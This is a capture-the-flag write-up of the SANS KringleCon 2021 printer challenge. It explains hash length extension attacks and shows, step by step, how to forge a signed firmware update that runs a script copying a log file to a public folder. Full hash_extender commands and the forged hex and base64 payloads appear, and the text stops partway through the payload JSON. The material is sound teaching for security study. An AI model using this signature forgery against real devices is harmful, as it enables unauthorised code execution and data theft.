SANS KringleCon 2021 — Printer Exploitation (Hash Extension Attack)
Hello all and Happy New Year! This is a writeup for the fourth Holiday Hack Challenge from SANS, KringleCon 4: Calling Birds. This will be specifically for the challenge Printer Exploitation using a Hash Extension Attack.
To start this challenge, enter Jack Frost’s Office:
Objective:
Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack’s office for help with this objective.
Hints:
· Hash Extension Attacks can be super handy when there’s some type of validation to be circumvented.
· When analyzing a device, it’s always a good idea to pick apart the firmware. Sometimes these things come down Base64-encoded.
· Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/
Interestingly the hint basically means that we need to create some kind of reverse shell or script which will copy the /var/spool/printer.log and move it into the /app/lib/public/incoming folder.
Looking at the hints it’s worth using the above hyperlink to look into Hash Extension Attacks.
Hash Extension Attack:
An application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret. Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data.
It turns out, even though the attacker doesn’t know the value of the prepended secret, he can still generate a valid hash for {secret || data || attacker_controlled_data}! This is done by simply picking up where the hashing algorithm left off; it turns out, 100% of the state needed to continue a hash is in the output of most hashing algorithms! We simply load that state into the appropriate hash structure and continue hashing.
In cryptography and computer security, a length extension attack is a type of attack where an attacker can use Hash(message1) and the length of message1 to calculate Hash(message1 ‖ message2) for an attacker-controlled message2, without needing to know the content of message1. Algorithms like MD5, SHA-1 and most of SHA-2 that are based on the Merkle–Damgård construction are susceptible to this kind of attack. Truncated versions of SHA-2, including SHA-384 and SHA-512/256 are not susceptible, nor is the SHA-3 algorithm.
When a Merkle–Damgård based hash is misused as a message authentication code with construction H(secret ‖ message), and message and the length of secret is known, a length extension attack allows anyone to include extra information at the end of the message and produce a valid hash without knowing the secret. Since HMAC does not use this construction, HMAC hashes are not prone to length extension attacks.
Example
Let’s look at a step-by-step example. For this example:
- let secret = “secret”
- let data = “data”
- let H = md5()
- let signature = hash(secret || data) = 6036708eba0d11f6ef52ad44e8b74d5b
- let append = “append”
The server sends data and signature to the attacker. The attacker guesses that H is MD5 simply by its length (it’s the most common 128-bit hashing algorithm), based on the source, or the application’s specs, or any way they are able to.
Knowing only data, H, and signature, the attacker’s goal is to append append to data and generate a valid signature for the new data. And that’s easy to do! Let’s see how.
Padding
Before we look at the actual attack, we have to talk a little about padding.
When calculating H(secret + data), the string (secret + data) is padded with a ‘1’ bit and some number of ‘0’ bits, followed by the length of the string. That is, in hex, the padding is a 0x80 byte followed by some number of 0x00 bytes and then the length. The number of 0x00 bytes, the number of bytes reserved for the length, and the way the length is encoded, depends on the particular algorithm and blocksize.
With most algorithms (including MD4, MD5, RIPEMD-160, SHA-0, SHA-1, and SHA-256), the string is padded until its length is congruent to 56 bytes (mod 64). Or, to put it another way, it’s padded until the length is 8 bytes less than a full (64-byte) block (the 8 bytes being size of the encoded length field). There are two hashes implemented in hash_extender that don’t use these values: SHA-512 uses a 128-byte blocksize and reserves 16 bytes for the length field, and WHIRLPOOL uses a 64-byte blocksize and reserves 32 bytes for the length field.
The endianness of the length field is also important. MD4, MD5, and RIPEMD-160 are little-endian, whereas the SHA family and WHIRLPOOL are big-endian. Trust me, that distinction cost me days of work!
In our example, length(secret || data) = length(“secretdata”) is 10 (0x0a) bytes, or 80 (0x50) bits. So, we have 10 bytes of data (“secretdata”), 46 bytes of padding (80 00 00 …), and an 8-byte little-endian length field (50 00 00 00 00 00 00 00), for a total of 64 bytes (or one block). Put together, it looks like this:
0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata……
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0030 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00 ……..P…….
Breaking down the string, we have:
- “secret” = secret
- “data” = data
- 80 00 00 … — The 46 bytes of padding, starting with 0x80
- 50 00 00 00 00 00 00 00 — The bit length in little endian
This is the exact data that H hashed in the original example.
The attack
Now that we have the data that H hashes, let’s look at how to perform the actual attack.
First, let’s just append append to the string. Easy enough! Here’s what it looks like:
0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0030 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00 ……P……
0040 61 70 70 65 6e 64 append
The hash of that block is what we ultimately want to a) calculate, and b) get the server to calculate. The value of that block of data can be calculated in two ways:
- By sticking it in a buffer and performing H(buffer)
- By starting at the end of the first block, using the state we already know from signature, and hashing append starting from that state
The first method is what the server will do, and the second is what the attacker will do. Let’s look at the server, first, since it’s the easier example.
Server’s calculation
We know the server will prepend secret to the string, so we send it the string minus the secret value:
0000 64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00 data…………
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0030 00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64 ……P……append
Don’t be fooled by this being exactly 64 bytes (the blocksize) — that’s only happening because secret and append are the same length. Perhaps I shouldn’t have chosen that as an example, but I’m not gonna start over!
The server will prepend secret to that string, creating:
0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata……
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0030 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00 ……P……
0040 61 70 70 65 6e 64 append
And hashes it to the following value:
6ee582a1669ce442f3719c47430dadee
Client’s calculation
So, how do we calculate the hash of the data shown above without actually having access to secret?
Well, first, we need to look at what we have to work with: data, append, H, and H(secret || data).
We need to define a new function, H′, which uses the same hashing algorithm as H, but whose starting state is the final state of H(secret || data), i.e., signature. Once we have that, we simply calculate H′(append) and the output of that function is our hash.
The the output is, just like before:
6ee582a1669ce442f3719c47430dadee
So we know the signature is right. The difference is, we didn’t use secret at all! What’s happening!?
Well, we create a MD5_CTX structure from scratch, just like normal. Then we take the MD5 of 64 ‘A’s. We take the MD5 of a full (64-byte) block of ‘A’s to ensure that any internal values — other than the state of the hash itself — are set to what we expect.
Then, after that is done, we replace c.A, c.B, c.C, and c.D with the values that were found in signature: 6036708eba0d11f6ef52ad44e8b74d5b. This puts the MD5_CTX structure in the same state as it finished in originally, and means that anything else we hash — in this case append — will produce the same output as it would have had we hashed it the usual way.
We use htonl() on the values before setting the state variables because MD5 — being little-endian — outputs its values in little-endian as well.
Result
So, now we have this string:
0000 64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00 data…………
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………
0030 00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64 …P……append
And this signature for H(secret || data || append):
6ee582a1669ce442f3719c47430dadee
And we can generate the signature without ever knowing what the secret was! So, we send the string to the server along with our new signature. The server will prepend the signature, hash it, and come up with the exact same hash we did (victory!).
The Tool:
An example of hash_extender for the above example:
$ ./hash_extender — data data — secret 6 — append append — signature 6036708eba0d11f6ef52ad44e8b74d5b — format md5
Type: md5
Secret length: 6
New signature: 6ee582a1669ce442f3719c47430dadee
New string: 64617461800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000617070656e64
There are plenty of options for how you format inputs and outputs, including HTML (where you use %NN notation), CString (where you use \xNN notation, as well as \r, \n, \t, etc.), hex (such as how the hashes were specified above), etc.
By default I tried to choose what I felt were the most reasonable options:
Input data: raw
Input hash: hex
Output data: hex
Output hash: hex
Printer Exploitation
So with all of this new information, how do we apply it? Looking at the printer website, there’s not much information yet:
Furthermore, the settings and reporting pages all require a password to access:
Navigating the Firmware Update we find something:
If we download the current firmware file, we have the following components:
- Firmware (or command)
- Signature (which equals Hash(secret || data))
- Secret Length
- Algorithm (or hash)
So we have all the information we need! Well… within reason — the firmware command seems to be base64 encoded, and the hint also states the firmware is base64 encoded.
Using CyberChef, let’s Base64 decode this command:
By analysing the code further, we can see the header has the ASCII header value PK , which indicates this file is zipped. The file also appears to be called firmware.bin. If we unzip it, we can then analyse further:
The full string is pretty lengthy, but as you can see the following is present:
/lib64/ld-linux-x86–64.so.2
Which can indicate the firmware is of a Linux distro, further confirmed by a string later appearing called Debian 8.3.0. So we can probably append the firmware to add Linux Commands right? Or maybe even run a shell?
Easiest way to do this would be to write out a script. Given this is a challenge for everyone, removing or moving the file probably won’t work, but what about copying?
Script:
#!/bin/bashcp /var/spool/printer.log /app/lib/public/incoming/output
So let’s work through the hash_extender command.
hash_extender parameters and values:
— file = firmware.zip — secret = secret length which the original JSON file = 16 — append = which we need to encode and ensure is readable for the printer but the script above will be included — signature = the original signature which = 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 — format = sha256
To ensure this is a clean output we probably also want to ensure that the format appended is in hex so it’s easier to copy and decrypt:
— out-data-format hex
So for now the command will look like this:
$ ./hash_extender — file firmware.zip — secret 16 — append <zipped appended command> — signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 — format sha256 — out-data-format hex
Let’s look at the appended command.
Appended command:
$ cat firmware.bin#!/bin/bashcp /var/spool/printer.log /app/lib/public/incoming/output
Running this command will require full execution, therefore change the rwx rights for the file:
$ chmod 777 firmware.bin
Next let’s zip it as this is the format of the executable prior to us unzipping it:
$ zip -r firmware.zip firmware.binupdating: firmware.bin (deflated 15%)
Opening the appended zip file:
$ cat firmware.zipP?I%T?KL?@Jfirmware.binUT 1a?a9a?aux?5?1?н??q?? ???????7?u??iM???C????f1:(????T?.q???}??P?I%T?KL?@J??firmware.binUT1a?aux?PKR?192
Now you can see that the zip file in raw format is not on a single line and therefore needs to be converted into hex; one of the input values accepted:
$ cat firmware.zip | xxd -p -c 99999999999504b0304140000000800ab492554ee4b4ce1400000004a0000000c001c006669726d776172652e62696e55540900033161d5613961d56175780b000104f5010000041400000035ca310e80300805d0bda7a871f79f0988a9240884aae7d7c537bf7501ab83691e4db2e3a1c2cc084396fab5d766313a2813a68cbcd954a02e71aa8f3f7da7bd504b01021e03140000000800ab492554ee4b4ce1400000004a0000000c0018000000000001000000ff81000000006669726d776172652e62696e55540500033161d56175780b000104f50100000414000000504b0506000000000100010052000000860000000000
Using this as the appended command, let’s now amend our hash extender command:
$ ./hash_extender — file firmware.zip — secret 16 — append 504b0304140000000800ab492554ee4b4ce1400000004a0000000c001c006669726d776172652e62696e55540900033161d5613961d56175780b000104f5010000041400000035ca310e80300805d0bda7a871f79f0988a9240884aae7d7c537bf7501ab83691e4db2e3a1c2cc084396fab5d766313a2813a68cbcd954a02e71aa8f3f7da7bd504b01021e03140000000800ab492554ee4b4ce1400000004a0000000c0018000000000001000000ff81000000006669726d776172652e62696e55540500033161d56175780b000104f50100000414000000504b0506000000000100010052000000860000000000 — append-format hex — signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 — format sha256 — out-data-format hex
Note: we’ve added an appended-format as hex as the zipped file was raw input.
Type: sha256Secret length: 16New signature: c901f1a1fb1d0e37e8a0c104f5e919cd991b508aca27911392f43e0124d488a6New string: 504b030414000000080045a5905316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003a2a4bb61a2a4bb6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e0314000000080045a5905316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003a2a4bb6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800ab492554ee4b4ce1400000004a0000000c001c006669726d776172652e62696e55540900033161d5613961d56175780b000104f5010000041400000035ca310e80300805d0bda7a871f79f0988a9240884aae7d7c537bf7501ab83691e4db2e3a1c2cc084396fab5d766313a2813a68cbcd954a02e71aa8f3f7da7bd504b01021e03140000000800ab492554ee4b4ce1400000004a0000000c0018000000000001000000ff81000000006669726d776172652e62696e55540500033161d56175780b000104f50100000414000000504b0506000000000100010052000000860000000000
Copying the new string into a file called newfilestring:
$ nano newfinalstring$ cat newfinalstring | xxd -r -p | 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
Add this to the firmware JSON exploit, then replace the signature value with the output from hash_extender like so:
{“firmware”:”UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAOipLthoqS7YXV4CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBns/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczszrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusRS1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkFwn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU4j6joxNmv5kfkFoSfk2aiPld8/+qPmtt/e8JAy1hAZfOyVWfvuX6xB3GDeEvm0e4Rqvar/Lftz1ke6HXexN+LfVxd5Rw/54jXpSNezkuh9w6xCO1wwJTw+aL+lFJMszC4o8m84pmfQ5DaukXC7qSkGXs0o6h0aSowOD8qHooWg3kkcnjsmqVtDm0kVdK0wcG8zkc9qEMp0hzLlsPkeZsuXq6kjER8fAh+MqmLGFeVBqTzcS+0Gqw/jDfI61Wljh7BVaQWc/awf92lELYSxB1hx2v8O+7rA7nysVhz3gsN9x2J3zv42234A2550nnnjiiSeeeOKJJ578v4m09Neg9GzgnS58+t1Lus+4Ii2tBlfscqP7Oi4y9t3Ax5aOfnxGdPI2gt5bM7Ds+znWZ58H/4N/Gy1fPS2Vr0tLNyrjE8nlwCm8DJeWmz8gjS33XSZ1bp/FnL+3dAyZpldI28uBHxM4ckffjrvzKO1Oo7HW0nGe1LtCEfsvmv7dBQL7N6TLG36pXJEurx+VhDekqxv6NlzBdlpB0FibNdsB/vm+I7gIlbompaW+21FSY/ldfYv0bF97F3krxVe0nsKHNwKtWBemVrj23/s6LpzEHBy4UPmbd6VyqYL79EsRk9c2DOMXxOnNFdzo02Y84l8eLf8+fnK0fDs+GS9/FMcR2Td/AKFJaTlC8LHkflJVcL2IydLlj/z6roN/aOlAyfI/k+XbQ+X348a2P0pLK4J05J3STTI2X5mKPxGfip+Oy7hPaAXGkBk1TzzxxBNPPPHEE0888cQTTzxhRUA+NJwuZM8qBS2cLoZnS5nMYrg0H9bzYVXRtT3EZ5f/4V5kfe+6+75hkDfb3RXD+AnGAxgnMLbeMoxVjI9gvIHxJYwHBOu7q9nOuRNIWAgJu7Y0BJ8XGkLETr7tX8H1fd7RH3d/hPZS/3nsHyYOYmhYbPtiS9PZ4Hl0tP3hzx3e+wDwyTfuFPYLOuol3CfwL4H7azrGxdAzvsHm+incAOV8A//GcfkUKR8QQz/0JcS25/wJMbxclxA7fxCQxNgz9ZLYu9QwIvZ/VeyNi7G42DkghgfENuw/IAbN75skDilcj/P7oyeeeOKJJ5544oknnnjiyX9L7P2Ujv3JTtwCjrS8maqrlLeT6rBPcxfV4R2rnSLs19zNlf9jw8ibOt18CXsqr1Ed9lLGqH4f1b9DsYliG8XtiBV7T2e/BbAHE/zhvbKB4g6KUoC1f7+O7fclio1cff8yrOsB1w2qpyjfoDrEt0L1U7T8Q6o796L+LwT2lfPSE2J12F87Mjj4hXDnkDadVnLh3ujhaCzSs986uWdbfhyNiy6bY/14tFZd7X50w9VeZ88j1h6w5w9rr7fnGWtvsMeDt